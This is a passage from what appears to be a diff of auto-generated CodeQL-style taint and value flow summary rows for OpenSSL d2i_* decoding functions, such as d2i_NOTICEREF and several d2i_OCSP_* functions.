"d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", 